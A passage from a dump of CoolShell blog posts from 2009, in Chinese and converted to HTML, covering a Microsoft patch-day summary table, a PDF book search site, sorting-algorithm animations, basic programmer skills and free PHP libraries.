Verdana;\">远程代码运行</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">可能需要重启</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Office</span></span></p>\n</td>\n</tr>\n<tr>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows4</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">重要</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">获取更高权限</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n<tr>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">ISA</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">重要</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">拒绝式服务</span></span></p>\n</td>\n<td style=\"padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></p></span></span></td>\n<td style=\"padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Forefront Edge Security</span></span></p>\n</td>\n</tr>\n<tr>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Windows5</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">中级</span></span></p>\n</td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">获取更高权限</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">需要重启</span></span></p>\n<p></p></span></span></td>\n<td bgcolor=\"#e9e9e6\" style=\"background: #e9e9e6; padding: 0.75pt;\">\n<p class=\"MsoNormal\"><span style=\"font-size: x-small; font-family: Verdana;\"><span style=\"font-size: 10pt; font-family: Verdana;\">Microsoft Windows</span></span></p>\n</td>\n</tr>\n</tbody>\n</table>\n<p>相关信息可以参看这里：</p>\n<p><a href=\"http://www.microsoft.com/technet/security/bulletin/ms09-apr.mspx\">http://www.microsoft.com/technet/security/bulletin/ms09-apr.mspx</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4077.html\"><img alt=\"纯文本配置还是注册表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4077.html\">纯文本配置还是注册表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3270.html\"><img alt=\"两本电子书\" height=\"150\" src=\"../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3270.html\">两本电子书</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3097.html\"><img alt=\"Windows的达尔文进化图\" height=\"150\" src=\"../wp-content/uploads/2010/10/W_600-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3097.html\">Windows的达尔文进化图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/404.html\">4月14日，微软补丁日</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-10 PDF电子书搜索引擎.html",
    "content": "<html><body><p>这是一个PDF电子书的搜索引擎，可以搜索到很多PDF的图书，包括中文的。</p>\n<h4 style=\"text-align: center;\"><a href=\"http://search-pdf-books.com/\" target=\"_blank\"><img alt=\"PDF Book Search\" src=\"http://search-pdf-books.com/i/m_11.png\"/><br/>\nhttp://search-pdf-books.com/<br/>\n</a></h4>\n<p>简单的试了一下，的确很不错，推荐给大家。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/309.html\"><img alt=\"十个最好的PDF生成库\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/309.html\">十个最好的PDF生成库</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3649.html\"><img alt=\"TDD并不是看上去的那么美\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1202.html\"><img alt=\"面试题：赛马问题\" height=\"150\" src=\"../wp-content/uploads/2009/07/Question-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1202.html\">面试题：赛马问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9.html\"><img alt=\"你应该知道的20个Ajax技术(11-20)\" height=\"150\" src=\"../wp-content/uploads/2009/03/11-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9.html\">你应该知道的20个Ajax技术(11-20)</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/873.html\"><img alt=\"谁说C语言很简单？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/873.html\">谁说C语言很简单？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-10 一个排序算法比较的网站.html",
    "content": "<html><body><p><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"></a>下面这个网站是一个非常丰富的排序算法的网站。</p>\n<h4 style=\"text-align: center;\">Sorting Algorithm Animations<br/>\n<a href=\"http://www.sorting-algorithms.com/\">http://www.sorting-algorithms.com/</a></h4>\n<p>这是一个非常不错的排序算法的网站，当你打开这个网站的时候，请不要因为看到很多个图片的大红叉而鄙视它。你先点击网页上方的Problem Size，选择一个尺寸，20，30，40还是50，都行，于是你就可以看到下面整个大表中有图片显示出来了。如下所示：</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"><img alt=\"sort\" class=\"size-medium wp-image-400 aligncenter\" height=\"160\" src=\"../wp-content/uploads/2009/04/sort-300x160.jpg\" title=\"sort\" width=\"300\"/></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg\"></a></p>\n<p><span id=\"more-399\"></span></p>\n<p>其中，</p>\n<ul>\n<li><strong>列。</strong>是代表每一个排序算法，有“插入”“选择”“冒泡”“Shell”，“合并Merge”，“堆排序”，“快速排序”，“快速3排序”。单击每个一算法的链接，你可以看到这个算法的详细解释，其中包括，算法的伪代码，算法的复杂度，相关的讨论，重点，以及该算法的相关参考文档。</li>\n<li><strong>行。</strong>是不同的数据样本，第一个是“随机样本”，第二个是“几乎排好序的样本”，第三个是“最差的样本（反序）”，第四个是“有一些相同项的样本”。这些样本在不同的算法上都会有不同的表现。</li>\n<li><strong>单元格</strong>。每个单元格都是一个图片。简单的用鼠标单击一下每个图片，可以动画地演示算法整个过程。其中两个小红箭头表示了正在需要“交换顺序的数据”。</li>\n</ul>\n<p>这个网站，还是做得很8错的。希望大家喜欢。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3933.html\"><img alt=\"可视化的排序过程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2583.html\"><img alt=\"一些重要的算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2583.html\">一些重要的算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/536.html\"><img alt=\"一个显示排序过程的Python脚本\" height=\"150\" src=\"../wp-content/uploads/2009/04/bubble-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6010.html\"><img alt=\"一些有意思的算法代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6010.html\">一些有意思的算法代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4671.html\"><img alt=\"可视化的数据结构和算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4671.html\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/399.html\">一个排序算法比较的网站</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-11 程序员需要具备的基本技能.html",
    "content": "<html><body><p>软件开发是一个跨度很大的技术工作，在语言方面，有C，C++，Java，Ruby等等等等，在环境方面，又分嵌入式，桌面系统，企业级，WEB，基础系统，或是科学研究。但是，不管是什么的情况，总是有一些通用的基本职业技能。</p>\n<p>这些最基本的职业技能通常决定了一个程序员的级别，能否用好这些技能，直接关系到了程序员的职业生涯。很多程序新手也是因为缺少、达不到或是不熟悉在这些基本技能，所以，他们需要有老手带，需要努力补齐这些技能。而高级程序员应该非常熟悉这些基本技能，而且有能力胜任并带领其他经验不足的程序员。</p>\n<p>下面这些基本职业技术可以用来做为对一个程序员的评估，很明显，下面的这些技能都可以用来做面试。虽然，还有很多非技术的因素，但对于评估一个程序员的技术能力来说，其应该是足够的了。</p>\n<p>下面是程序员所应该具备的基本职业技能：</p>\n<p><span id=\"more-428\"></span></p>\n<table border=\"0\" cellspacing=\"0\" class=\"fancy\">\n<tbody>\n<tr>\n<th width=\"20%\">基本技能</th>\n<th width=\"80%\">技能描述</th>\n</tr>\n<tr>\n<td style=\"text-align: left;\">阅读代码</td>\n<td>这个技能需要程序员能够具备读懂已经存在的代码的能力，这样的能力可以让程序员分析程序的行为，了解程序，这样才能和开发团队一起工作，继承维护或是改进现有的程序。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">编写程序</td>\n<td>编写程序并不包括程序设计。不要以为编程是一件很简单的事情，很多程序员都认为编程只需要懂得程序语言的语法，并把设计实现就可以了。但是这离编写程序还远远不够，使用什么样的编码风格成为编写程序员最需要具备的基本技能。能否使用非常良好的编程风格直接决写了程序员的级别。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">软件设计</td>\n<td>这一能力直接决定了需要吏用什么样的代码技术达到怎么样的功能，而系统架构设计直接决定了软件的质量、性能和可维护性。并不是所有的程序在这一方面都非常优秀，但每个程序员都需要或多或少的明白和掌握这一基本技能。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">熟悉软件工程</td>\n<td>每个程序员都应该明白软件工程是什么东西，都应该知道，需求分析，设计，编码，测试，Release和维护这几个阶段。当然，几乎所有的人都知道这些东西，但并不是每个人都很清楚这些东西。现在很多高级程序员都会混淆“需求规格说明书FS”和“概要设计HLD”。另外，程序员还需要知道一些软件开发的方法论，比如：敏捷开发或瀑布模型。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用程序库或框架</td>\n<td>一个程序员需要学会使用已有的代码，无论是标论的程序库，或是第三方的，还是自己公司内部的，都需要学会做。比如：C++中，需要学会使用STL，MFC，ATL，BOOST，ACE，CPPUNIT等等。使用这些东西，可以让你的工作事半功倍。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">程序调试</td>\n<td>程序调试是分析BUG和解决问题最直接的能力。没有人能够保证程序写出来不用调试就可以运行正常，也没有人可以保证程序永远不会出BUG。所以，熟练使用调试器是一个程序员需要具备的基本技能。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用IDE</td>\n<td>学会使用IDE工具也会让你的工作事半功倍。比如，VC++，Emacs，Eclipse等等，并要知道这些IDE的长处和短处。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用版本控制</td>\n<td>一定要学会使用版本控制工具，什么叫mainline/trunk，什么叫tag，什么叫branch，怎么做patch，怎么merge代码，怎么reverse，怎么利用版本控制工具维护不同版本的软件。这是程序员需要明的的软件配置管理中最重要的一块。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">单元测试</td>\n<td>单元测试是每个程序都需要做的。很多单元测试也是需要编码的。一定要学会在xUnit框架下进行单元测试。比如JUnit, NUnit, CppUnit等等。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">重构代码</td>\n<td>每个程序员都需要有最基本的能力去重构目前已有的代码，使代码达到最优但却不能影响任何的已有的功能。有一本书叫《软件的重构》，每个程序员都应该读一下。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">自动化编译</td>\n<td>程序员需要使用一个脚本，其能自动化编程所有的工程和代码，这样，整个开发团队可以不停地集成代码，自动化测试，自动化部署，以及使用一些工具进行静态代码分析或是自动化测试。</td>\n</tr>\n</tbody>\n</table>\n<p>当然，还有很多的基本技术也是非常重要的，比如，与人的沟通能力，语言的表达能力，写作能力，团队协作能力，适应变化的能力，时间管理能力，多任务处理能力，自我学习能力，故障处理能力，等等，等等，这里只是列举了和技术相关的能力，这些是程序最最最基本的能力，只要是程序员就必需要有的能力。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-12 9个强大免费的PHP库.html",
    "content": "<html><body><p></p>\n<h3>1. ReCAPTCHA</h3>\n<p><a href=\"http://recaptcha.net/plugins/php/\"><span style=\"color: #468175;\">reCAPTCHA </span></a> 允许你的网站集成一个Advanced CAPTCHA 系统，这个系统可以帮助你阻止一些垃圾信息。可视化的CAPTCHA 同样也有一个有用的声音功能。另外，在reCAPTCHA 服务里，这个PHP库也包含了一个给 “Mailhide” 服务用的API，这个可以把你的邮件地址隐藏于一些抓邮件地址的程序。</p>\n<p>这个API是免费并且非常容易使用的，你需要做的就是申请一个API的KEY。</p>\n<div class=\"tutorial_image\"><img alt=\"ReCAPTCHA\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/recaptcha.png\" style=\"width: 327px;\"/></div>\n<p><a href=\"http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest\"><span style=\"color: #468175;\">下载 ReCAPTCHA</span></a> | <a href=\"http://recaptcha.net/api/getkey?app=php\"><span style=\"color: #468175;\">获取一个API Key</span></a> | <a href=\"http://recaptcha.net/plugins/php/\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<p><span id=\"more-455\"></span></p>\n<h3>2. Akismet</h3>\n<p><a href=\"http://akismet.com/\"><span style=\"color: #468175;\">Akismet</span></a> 是一个免费的服务项目，对于一些小型的网站它是完全免费的，对于一些大型的网址，他是部分免费的。这个库也是提供了处理一些和垃圾信息相关的功能。它主要通过比对自己数据库中已存在的被认定为垃圾的信息，而做出决定的。当然，数据库中的垃圾信息可能通过各个网站举报，大家供享的。这是一个每天都在更新，每天都在改进的库。许多许多的WordPress都装有这个库。</p>\n<div class=\"tutorial_image\"><img alt=\"Akismet\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/akismet.jpg\" style=\"width: 455px;\"/></div>\n<p><a href=\"http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/\"><span style=\"color: #468175;\">实施Akismet</span></a></p>\n<h3>3. Services_JSON</h3>\n<p>JSON 是一个非常小巧敏捷的PHP库，它主要用于把一些数据格式转成易于人们阅读的格式。并不是所有的人都会喜欢PHP5 （因为自PHP5.20后其中已经集成了JSON），所以，这个小PHP库可以在低版本的PHP中让你得到 JSON 的功能。</p>\n<div class=\"tutorial_image\"><img alt=\"JSON\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/json.png\" style=\"width: 404px;\"/></div>\n<p><a href=\"http://pear.php.net/package/Services_JSON\"><span style=\"color: #468175;\">查看 Services_JSON</span></a></p>\n<h3>4. Smarty</h3>\n<p><a href=\"http://smarty.net/\"><span style=\"color: #468175;\">Smarty</span></a> 是一个网面模板引擎，它主要是把程序和界面分开。Smarty 提供了许多强大的功能，比如循环，变量，以及一个强大的缓存系统。这个库不是一个新库了，其已经发展了很多年了，虽然只有3个release版，但应该是比较成熟了。</p>\n<div class=\"tutorial_image\"><img alt=\"Smarty\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/smarty.png\" style=\"width: 257px;\"/></div>\n<p><a href=\"http://smarty.net/download.php\"><span style=\"color: #468175;\">下载 Smarty</span></a> | <a href=\"http://smarty.net/docs.php\"><span style=\"color: #468175;\">查看文档</span></a></p>\n<h3>5. pChart</h3>\n<p>这是一个强大的画统计图的PHP库，像一些饼图或是柱状图，<a href=\"http://pchart.sourceforge.net/index.php\"><span style=\"color: #468175;\">pChart</span></a> 还允许你通过SQL查询语句或是手动的输入数据来创建一个统计图。当然它需要GD库的支持以便创建图片。这个库一看就是有很多非常专业的美工设计过，因为它可以让你的统计图显示的相当漂亮。</p>\n<div class=\"tutorial_image\"><img alt=\"pChart\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/pchart.png\" style=\"width: 599px;\"/></div>\n<p><a href=\"http://pchart.sourceforge.net/download.php\"><span style=\"color: #468175;\">下载 pChart</span></a> | <a href=\"http://pchart.sourceforge.net/documentation.php\"><span style=\"color: #468175;\">相关文档</span></a> | <a href=\"http://pchart.sourceforge.net/demo.php\"><span style=\"color: #468175;\">查看演示</span></a></p>\n<h3>6. SimplePie</h3>\n<p><a href=\"http://simplepie.org/\"><span style=\"color: #468175;\">SimplePie</span></a>  允许你可以容易地 pull 一些信息，比如RSS feeds。它同样可以被集成于不同的平台和语言。并且可以通过很多不同的方法来处理远端的feed。</p>\n<p><img alt=\"SimplePie\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/simplepie.png\" style=\"width: 449px;\"/></p>\n<p><a href=\"http://simplepie.org/downloads/\"><span style=\"color: #468175;\">下载 SimplePie</span></a> | <a href=\"http://simplepie.org/wiki/\"><span style=\"color: #468175;\">相关文档</span></a> | <a href=\"http://net.tutsplus.com/videos/screencasts/extending-simplepie-to-parse-unique-rss-feeds/\"><span style=\"color: #468175;\">Extending SimplePie to Parse Unique RSS Feeds</span></a></p>\n<h3>7. XML-RPC PHP</h3>\n<p>我们的应用程序有时需要一些类似于 “ping” 的功能去探测一下其它站点，如BLOG的 trackbacks。一般来说，这都是通过一个叫做XML-RPC的协议来完成的。<a href=\"http://phpxmlrpc.sourceforge.net/\"><span style=\"color: #468175;\">XML-RPC 